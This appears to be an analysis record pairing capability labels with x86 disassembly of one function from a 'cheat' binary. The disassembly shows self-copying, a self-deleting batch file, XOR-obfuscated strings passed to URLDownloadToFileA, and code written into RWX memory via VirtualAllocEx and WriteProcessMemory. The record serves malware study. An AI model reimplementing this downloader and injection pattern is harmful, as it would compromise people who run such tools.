Function at 0x4429e0
Capabilities:
Allocate or change rwx memory
Copy file
Create process on windows
Create thread
Delete file
Download url
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Inject thread
Receive data
Self delete
Set console window title
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4808b7
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0x490
mov eax, dword [0x4a0080]
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add esp, 4
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 4
lea eax, [ebp - 0x300]
push 0xb8
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push str.firstrun.txt
lea ecx, [ebp - 0x300]
call fcn.00444b20
mov eax, dword [ebp - 0x300]
lea ecx, [ebp - 0x300]
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::good_void_const]
lea ecx, [ebp - 0x300]
mov byte [ebp - 0x301], al
call fcn.004424d0
cmp byte [ebp - 0x301], 0
jne 0x442b89
lea ecx, [ebp - 0x1f8]
call fcn.00442590
push 0x104
lea eax, [ebp - 0x178]
mov dword [ebp - 4], 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea ecx, [ebp - 0x1f8]
call fcn.00445430
push eax
lea eax, [ebp - 0x178]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
call fcn.00442820
push ecx
lea ecx, [ebp - 0x2f8]
call fcn.004429b0
sub esp, 0xc
lea ecx, [ebp - 0x2f8]
push str.delete_old.bat
call fcn.00443f30
lea eax, [ebp - 0x2f8]
mov byte [ebp - 4], 1
push str.timeout__t_5_n
push eax
call fcn.004461e0
add esp, 8
lea eax, [ebp - 0x178]
push 0x492180
push ecx
push eax
push ecx
lea eax, [ebp - 0x2f8]
push str.del__
push eax
call fcn.004461e0
add esp, 0xc
push eax
call fcn.004461e0
add esp, 0xc
push eax
call fcn.004461e0
add esp, 8
lea ecx, [ebp - 0x2f8]
call fcn.00443f00
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
push 0
push 0
push str.delete_old.bat
push str.open
push 0
call esi
push 5
push 0
push 0
lea ecx, [ebp - 0x1f8]
call fcn.00445430
push eax
push str.open
push 0
call esi
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0x19
xorps xmm0, xmm0
mov dword [ebp - 0x1cc], 0
push str.clq3qyw03000cmx01zj4v56tc
lea ecx, [ebp - 0x1dc]
mov dword [ebp - 0x1c8], 0
movups xmmword [ebp - 0x1dc], xmm0
call fcn.00446f70
lea eax, [ebp - 0x1dc]
mov dword [ebp - 4], 2
push eax
call fcn.00460eb6
mov dword [ebp - 4], 0xffffffff
add esp, 4
mov ecx, dword [ebp - 0x1c8]
cmp ecx, 0xf
jbe 0x442c12
mov edx, dword [ebp - 0x1dc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x442c08
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x442c08
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0047e93b
add esp, 8
push str.864_Cheat
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
xorps xmm0, xmm0
mov dword [ebp - 0x19c], 0
movups xmmword [ebp - 0x1ac], xmm0
mov dword [ebp - 0x198], 0xf
mov byte [ebp - 0x1ac], 0
push 0xfffffffffffffff5
mov dword [ebp - 4], 3
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edi, eax
push 2
push edi
call esi
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x21c]
movzx eax, word [ebp - 0x21e]
push ecx
push eax
movzx eax, word [ebp - 0x220]
push eax
movzx eax, word [ebp - 0x228]
push eax
movzx eax, word [ebp - 0x226]
push eax
movzx eax, word [ebp - 0x222]
push eax
push str._n_02d__02d__04d__02d:_02d:_02d_n_n
call fcn.0042e620
add esp, 0x1c
push 7
push edi
call esi
push 0xe
xorps xmm0, xmm0
mov dword [ebp - 0x184], 0
push str.C:license.txt
lea ecx, [ebp - 0x194]
mov dword [ebp - 0x180], 0
movups xmmword [ebp - 0x194], xmm0
call fcn.00446f70
push 0xb8
lea eax, [ebp - 0x300]
mov byte [ebp - 4], 4
push 0
push eax
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp - 0x180], 0xf
lea eax, [ebp - 0x194]
lea ecx, [ebp - 0x300]
cmova eax, dword [ebp - 0x194]
push eax
call fcn.00444b20
mov eax, dword [ebp - 0x300]
lea ecx, [ebp - 0x300]
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::good_void_const]
lea ecx, [ebp - 0x300]
mov byte [ebp - 0x301], al
call fcn.004424d0
cmp byte [ebp - 0x301], 0
je 0x442e4f
push 0xb8
lea eax, [ebp - 0x300]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp - 0x180], 0xf
lea eax, [ebp - 0x194]
lea ecx, [ebp - 0x300]
cmova eax, dword [ebp - 0x194]
push eax
call fcn.00444b20
mov eax, dword [ebp - 0x300]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x300]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x304], eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x300]
mov eax, dword [ebp - 0x300]
push 0xa
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_char___thiscall_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const]
movzx eax, al
push eax
lea eax, [ebp - 0x1ac]
push eax
lea eax, [ebp - 0x300]
push eax
call fcn.00447b00
add esp, 0xc
lea ecx, [ebp - 0x2f0]
call fcn.00445bb0
test eax, eax
jne 0x442dfe
mov eax, dword [ebp - 0x300]
lea ecx, [ebp - 0x300]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push str.License_loaded_from_file:
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.004461e0
cmp dword [ebp - 0x198], 0xf
lea ecx, [ebp - 0x1ac]
push dword [ebp - 0x19c]
cmova ecx, dword [ebp - 0x1ac]
push ecx
push eax
call fcn.00447960
add esp, 0x14
mov ecx, eax
push 0x4463c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x300]
call fcn.004424d0
jmp 0x442f2e
push str.Enter_your_license:
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.004461e0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea edx, [ebp - 0x1ac]
call fcn.00446600
push 0xb0
lea eax, [ebp - 0x2f8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp - 0x180], 0xf
lea eax, [ebp - 0x194]
lea ecx, [ebp - 0x2f8]
cmova eax, dword [ebp - 0x194]
add esp, 8
push eax
call fcn.00443f30
mov eax, dword [ebp - 0x2f8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2f8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x2fc], eax
mov byte [ebp - 4], 6
lea eax, [ebp - 0x1ac]
cmp dword [ebp - 0x198], 0xf
push dword [ebp - 0x19c]
cmova eax, dword [ebp - 0x1ac]
push eax
lea eax, [ebp - 0x2f8]
push eax
call fcn.00447960
add esp, 0xc
lea ecx, [ebp - 0x2f4]
call fcn.00445bb0
test eax, eax
jne 0x442f23
mov eax, dword [ebp - 0x2f8]
lea ecx, [ebp - 0x2f8]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0x2f8]
call fcn.004428f0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x234]
mov byte [ebp - 4], 7
push eax
push 0
push 0
push 0x4919cc
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x443ed0
mov ecx, dword [ebp - 0x234]
lea esi, [ebp - 0x5b]
mov dword [ebp - 0x17c], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x17c]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x17c], eax
test eax, eax
jne 0x442f67
lea eax, [ebp - 0x301]
push eax
lea eax, [ebp - 0x5b]
push eax
push esi
lea ecx, [ebp - 0x358]
call fcn.00447840
lea eax, [ebp - 0x358]
mov byte [ebp - 4], 8
push eax
lea eax, [ebp - 0x1ac]
push eax
call fcn.0045a5d4
mov byte [ebp - 4], 7
add esp, 8
mov ecx, dword [ebp - 0x344]
cmp ecx, 0xf
jbe 0x443008
mov edx, dword [ebp - 0x358]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x442ffe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x442ffe
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0047e93b
add esp, 8
push str.Authenticated_successfully
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.004461e0
add esp, 8
mov ecx, eax
push 0x4463c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 9
xorps xmm0, xmm0
mov dword [ebp - 0x30c], 0
push str.expiresAt
lea ecx, [ebp - 0x31c]
mov dword [ebp - 0x308], 0
movups xmmword [ebp - 0x31c], xmm0
call fcn.00446f70
lea eax, [ebp - 0x31c]
mov byte [ebp - 4], 9
push eax
call fcn.0044d5ef
mov byte [ebp - 4], 7
add esp, 4
mov ecx, dword [ebp - 0x308]
mov edi, eax
cmp ecx, 0xf
jbe 0x4430b3
mov edx, dword [ebp - 0x31c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4430a9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4430a9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0047e93b
add esp, 8
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
sub edi, eax
mov dword [ebp - 0x234], edx
mov eax, 0xc22e4507
mov dword [ebp - 0x234], edi
imul edi
mov ecx, edi
add esp, 4
add edx, edi
sar edx, 0x10
mov esi, edx
shr esi, 0x1f
add esi, edx
imul eax, esi, 0x15180
sub ecx, eax
mov eax, 0x91a2b3c5
imul ecx
mov eax, 0x91a2b3c5
add edx, ecx
mov ecx, dword [ebp - 0x234]
sar edx, 0xb
mov edi, edx
shr edi, 0x1f
add edi, edx
imul ecx
add edx, ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0xe10
sub ecx, eax
mov eax, 0x88888889
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
jns 0x443148
neg eax
push eax
lea eax, [ebp - 0x5b]
push eax
call fcn.00447800
add esp, 8
mov byte [eax - 1], 0x2d
dec eax
jmp 0x443155
push eax
lea eax, [ebp - 0x5b]
push eax
call fcn.00447800
add esp, 8
lea ecx, [ebp - 0x301]
push ecx
lea ecx, [ebp - 0x5b]
push ecx
push eax
lea ecx, [ebp - 0x1f8]
call fcn.00447840
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x3b]
test edi, edi
jns 0x44318a
neg edi
push edi
push eax
call fcn.00447800
add esp, 8
mov byte [eax - 1], 0x2d
dec eax
jmp 0x443194
push edi
push eax
call fcn.00447800
add esp, 8
lea ecx, [ebp - 0x301]
push ecx
lea ecx, [ebp - 0x3b]
push ecx
push eax
lea ecx, [ebp - 0x378]
call fcn.00447840
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x5b]
test esi, esi
jns 0x4431c9
neg esi
push esi
push eax
call fcn.00447800
add esp, 8
mov byte [eax - 1], 0x2d
dec eax
jmp 0x4431d3
push esi
push eax
call fcn.00447800
add esp, 8
lea ecx, [ebp - 0x301]
push ecx
lea ecx, [ebp - 0x5b]
push ecx
push eax
lea ecx, [ebp - 0x334]
call fcn.00447840
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x320]
mov eax, ecx
mov edx, dword [ebp - 0x324]
sub eax, edx
cmp eax, 0xd
jb 0x443290
cmp ecx, 0xf
lea esi, [ebp - 0x334]
lea eax, [edx + 0xd]
cmova esi, dword [ebp - 0x334]
mov dword [ebp - 0x324], eax
cmp esi, 0x492271
jae 0x443248
lea eax, [esi + edx]
cmp eax, str.Time_Remain:
jb 0x443248
cmp esi, str.Time_Remain:
ja 0x44323e
xor edi, edi
jmp 0x44324d
mov edi, esi
sub edi, str.Time_Remain:
jmp 0x44324d
mov edi, 0xd
lea eax, [edx + 1]
push eax
lea ecx, [esi + 0xd]
push esi
push ecx
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
push edi
push str.Time_Remain:
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea ecx, [esi + edi]
mov eax, 0xd
sub eax, edi
push eax
lea eax, [edi + 0x492271]
push eax
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x334]
jmp 0x4432b3
push 0xd
push str.Time_Remain:
push 0
mov byte [ebp - 0x234], 0
lea ecx, [ebp - 0x334]
push dword [ebp - 0x234]
push 0xd
call fcn.00447eb0
mov dword [ebp - 0x30c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x31c], xmm0
mov dword [ebp - 0x308], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x31c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x30c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push str._Day
lea eax, [ebp - 0x31c]
mov byte [ebp - 4], 0xd
push eax
lea eax, [ebp - 0x358]
push eax
call fcn.00446430
add esp, 0xc
lea ecx, [ebp - 0x378]
mov byte [ebp - 4], 0xe
push ecx
push eax
push dword [ebp - 0x234]
lea ecx, [ebp - 0x470]
call fcn.004473e0
push str._Hour
lea eax, [ebp - 0x470]
mov byte [ebp - 4], 0xf
push eax
lea eax, [ebp - 0x48c]
push eax
call fcn.00446430
add esp, 0xc
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x10
push ecx
push eax
push dword [ebp - 0x234]
lea ecx, [ebp - 0x458]
call fcn.004473e0
push str._Minute
lea eax, [ebp - 0x458]
mov byte [ebp - 4], 0x11
push eax
lea eax, [ebp - 0x1dc]
push eax
call fcn.00446430
add esp, 0xc
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x444]
cmp ecx, 0xf
jbe 0x4433ce
mov edx, dword [ebp - 0x458]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4433c4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x443610
push ecx
push edx
call fcn.0047e93b
add esp, 8
mov dword [ebp - 0x448], 0
mov dword [ebp - 0x444], 0xf
mov byte [ebp - 0x458], 0
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x478]
cmp ecx, 0xf
jbe 0x443427
mov edx, dword [ebp - 0x48c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44341d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x443610
push ecx
push edx
call fcn.0047e93b
add esp, 8
mov dword [ebp - 0x47c], 0
mov dword [ebp - 0x478], 0xf
mov byte [ebp - 0x48c], 0
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x45c]
cmp ecx, 0xf
jbe 0x443480
mov edx, dword [ebp - 0x470]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x443476
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x443610
push ecx
push edx
call fcn.0047e93b
add esp, 8
mov dword [ebp - 0x460], 0
mov dword [ebp - 0x45c], 0xf
mov byte [ebp - 0x470], 0
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x344]
cmp ecx, 0xf
jbe 0x4434d9
mov edx, dword [ebp - 0x358]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4434cf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x443610
push ecx
push edx
call fcn.0047e93b
add esp, 8
mov dword [ebp - 0x348], 0
mov dword [ebp - 0x344], 0xf
mov byte [ebp - 0x358], 0
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x308]
cmp ecx, 0xf
jbe 0x443532
mov edx, dword [ebp - 0x31c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x443528
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x443610
push ecx
push edx
call fcn.0047e93b
add esp, 8
mov dword [ebp - 0x30c], 0
mov dword [ebp - 0x308], 0xf
mov byte [ebp - 0x31c], 0
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x320]
cmp ecx, 0xf
jbe 0x44358b
mov edx, dword [ebp - 0x334]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x443581
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x443610
push ecx
push edx
call fcn.0047e93b
add esp, 8
mov dword [ebp - 0x324], 0
mov dword [ebp - 0x320], 0xf
mov byte [ebp - 0x334], 0
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x364]
cmp ecx, 0xf
jbe 0x4435e0
mov edx, dword [ebp - 0x378]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4435d6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x443610
push ecx
push edx
call fcn.0047e93b
add esp, 8
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x1e4]
cmp ecx, 0xf
jbe 0x443620
mov edx, dword [ebp - 0x1f8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x443616
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x443616
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0047e93b
add esp, 8
cmp dword [ebp - 0x1c8], 0xf
lea eax, [ebp - 0x1dc]
push 0x40
cmova eax, dword [ebp - 0x1dc]
push str.864_Cheat
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
call fcn.004421e0
push dword [0x4bc114]
push 0x432ac0
call dword [sym.imp.USER32.dll_EnumWindows]
mov dword [ebp - 0x3e0], 0x69c9eddb
xorps xmm0, xmm0
mov dword [ebp - 0x3dc], 0x1c19f9d9
mov dword [ebp - 0x3d8], 0xb2c35917
mov dword [ebp - 0x3d4], 0xb93b62f3
movups xmm1, xmmword [ebp - 0x3e0]
mov dword [ebp - 0x3d0], 0xb749d092
mov dword [ebp - 0x3cc], 0x471f5ef4
mov dword [ebp - 0x3c8], 0x293826f9
mov dword [ebp - 0x3c4], 0xb84607cd
movups xmm2, xmmword [ebp - 0x3d0]
mov dword [ebp - 0x3c0], 0x5865297f
mov dword [ebp - 0x3bc], 0x4ad2d032
mov dword [ebp - 0x3b8], 0x70440e3c
mov dword [ebp - 0x3b4], 0x77992fa7
movups xmm3, xmmword [ebp - 0x3c0]
mov dword [ebp - 0x3b0], 0x81cdf228
mov dword [ebp - 0x3ac], 0xfda9c7b4
mov dword [ebp - 0x3a8], 0x5dfabf1d
mov dword [ebp - 0x3a4], 0x29e2877d
movups xmm4, xmmword [ebp - 0x3b0]
mov dword [ebp - 0x3a0], 0xf7ca4b0a
mov dword [ebp - 0x39c], 0x14471545
mov dword [ebp - 0x398], 0xc1a58cb
mov dword [ebp - 0x394], 0xd1061630
movups xmm5, xmmword [ebp - 0x3a0]
mov dword [ebp - 0x390], 0x76a3506a
mov dword [ebp - 0x38c], 0xabd0523f
mov dword [ebp - 0x388], 0xe0384d72
mov dword [ebp - 0x384], 0x185c6681
movups xmm6, xmmword [ebp - 0x390]
mov dword [ebp - 0x440], 0x19bd99b3
mov dword [ebp - 0x43c], 0x3336c3aa
mov dword [ebp - 0x438], 0x9cad3d74
mov dword [ebp - 0x434], 0xda480b97
mov dword [ebp - 0x430], 0xd62da2fd
mov dword [ebp - 0x42c], 0x24312e84
mov dword [ebp - 0x428], 0x48174b96
mov dword [ebp - 0x424], 0xdb2773b9
xorps xmm2, xmmword [ebp - 0x430]
mov dword [ebp - 0x420], 0x36004417
mov dword [ebp - 0x41c], 0x73fda346
mov dword [ebp - 0x418], 0x47753b08
mov dword [ebp - 0x414], 0x45ac1a93
xorps xmm3, xmmword [ebp - 0x420]
mov dword [ebp - 0x410], 0xb7fbca11
mov dword [ebp - 0x40c], 0xcd9fff80
mov dword [ebp - 0x408], 0x68c3902a
mov dword [ebp - 0x404], 0x1adbbf45
xorps xmm4, xmmword [ebp - 0x410]
mov dword [ebp - 0x400], 0xc2fc7b3b
mov dword [ebp - 0x3fc], 0x24732472
mov dword [ebp - 0x3f8], 0x3c236bfc
mov dword [ebp - 0x3f4], 0xa163641f
xorps xmm5, xmmword [ebp - 0x400]
mov dword [ebp - 0x3f0], 0x2ed72205
mov dword [ebp - 0x3ec], 0xcffe600c
mov dword [ebp - 0x3e8], 0xe038211e
mov dword [ebp - 0x3e4], 0x185c6681
xorps xmm6, xmmword [ebp - 0x3f0]
movups xmmword [ebp - 0x2b0], xmm1
xorps xmm1, xmmword [ebp - 0x440]
movaps xmmword [ebp - 0x2b0], xmm1
movaps xmmword [ebp - 0x2a0], xmm2
movaps xmmword [ebp - 0x290], xmm3
movaps xmmword [ebp - 0x280], xmm4
movaps xmmword [ebp - 0x270], xmm5
movaps xmmword [ebp - 0x260], xmm6
movups xmmword [ebp - 0x218], xmm0
lea ecx, [ebp - 0x2b0]
mov dword [ebp - 0x208], 0
mov dword [ebp - 0x204], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4438e6
sub ecx, edx
lea eax, [ebp - 0x2b0]
push ecx
push eax
lea ecx, [ebp - 0x218]
call fcn.00446f70
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x360]
mov dword [ebp - 0x200], 0x4ee1a3f0
lea edx, [ecx + 1]
mov dword [ebp - 0x1fc], 0x5c52adc3
xorps xmm0, xmm0
mov dword [ebp - 0x1f8], 0xcff14e03
mov dword [ebp - 0x1f4], 0xbf3c78ee
movups xmm1, xmmword [ebp - 0x200]
mov dword [ebp - 0x1f0], 0x8a1f9190
mov dword [ebp - 0x1ec], 0xa4257f7
mov dword [ebp - 0x1e8], 0x487e25ff
mov dword [ebp - 0x1e4], 0xdb2773b9
movups xmm2, xmmword [ebp - 0x1f0]
mov dword [ebp - 0x380], 0x19bd99b3
movups xmmword [ebp - 0x360], xmm1
mov dword [ebp - 0x37c], 0x3336c3aa
mov dword [ebp - 0x378], 0x9cad3d74
mov dword [ebp - 0x374], 0xda480b97
xorps xmm1, xmmword [ebp - 0x380]
mov dword [ebp - 0x370], 0xd62da2fd
mov dword [ebp - 0x36c], 0x24312e84
mov dword [ebp - 0x368], 0x48174b96
mov dword [ebp - 0x364], 0xdb2773b9
xorps xmm2, xmmword [ebp - 0x370]
movaps xmmword [ebp - 0x360], xmm1
movaps xmmword [ebp - 0x350], xmm2
movups xmmword [ebp - 0x1c4], xmm0
mov dword [ebp - 0x1b4], 0
mov dword [ebp - 0x1b0], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x443a00
sub ecx, edx
lea eax, [ebp - 0x360]
push ecx
push eax
lea ecx, [ebp - 0x1c4]
call fcn.00446f70
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x1c4]
cmp dword [ebp - 0x1b0], 0xf
lea eax, [ebp - 0x218]
push 0
cmova ecx, dword [ebp - 0x1c4]
cmp dword [ebp - 0x204], 0xf
push 0
cmova eax, dword [ebp - 0x218]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
call fcn.00441bc0
call fcn.004417f0
push 0x432b20
lea ecx, [ebp - 0x238]
call fcn.00446910
mov esi, eax
mov byte [ebp - 4], 0x1d
cmp dword [esi + 4], 0
jne 0x443a84
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push dword [esi + 4]
mov edi, dword [sym.imp.MSVCP140.dll__Thrd_detach]
push dword [esi]
call edi
add esp, 8
test eax, eax
je 0x443aa0
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
mov dword [esi], 0
mov dword [esi + 4], 0
mov byte [ebp - 4], 0x1c
cmp dword [ebp - 0x234], 0
je 0x443ac0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
push 0x432930
lea ecx, [ebp - 0x238]
call fcn.00446910
mov esi, eax
mov byte [ebp - 4], 0x1e
cmp dword [esi + 4], 0
jne 0x443ae4
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push dword [esi + 4]
push dword [esi]
call edi
add esp, 8
test eax, eax
je 0x443afa
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
mov dword [esi], 0
mov dword [esi + 4], 0
mov byte [ebp - 4], 0x1c
cmp dword [ebp - 0x234], 0
je 0x443b1a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, dword [ebp - 0x1b4]
push eax
push 0
inc edi
push 0x1fffff
mov dword [ebp - 0x234], edi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x443c66
push 0x40
push 0x1000
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x443c66
cmp dword [ebp - 0x1b0], 0xf
lea ecx, [ebp - 0x1c4]
push 0
push dword [ebp - 0x234]
cmova ecx, dword [ebp - 0x1c4]
push ecx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x443c66
mov dword [ebp - 0x240], 0x7ddcf6ff
lea eax, [ebp - 0x50]
mov dword [ebp - 0x23c], 0x4154aae6
mov dword [ebp - 0x238], 0xddd44f15
mov dword [ebp - 0x234], 0xda480b97
movups xmm1, xmmword [ebp - 0x240]
mov dword [ebp - 0x50], 0x19bd99b3
mov dword [ebp - 0x4c], 0x3336c3aa
mov dword [ebp - 0x48], 0x9cad3d74
mov dword [ebp - 0x44], 0xda480b97
movups xmmword [ebp - 0x70], xmm1
mov dword [ebp - 0x240], 0x19bd99b3
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x70], xmm1
mov dword [ebp - 0x50], 0x77cffcd8
mov dword [ebp - 0x4c], 0x105afcf
mov dword [ebp - 0x48], 0x9cad3d74
mov dword [ebp - 0x44], 0xda480b97
movups xmm1, xmmword [ebp - 0x50]
mov dword [ebp - 0x23c], 0x3336c3aa
mov dword [ebp - 0x238], 0x9cad3d74
movups xmmword [ebp - 0x50], xmm1
mov dword [ebp - 0x234], 0xda480b97
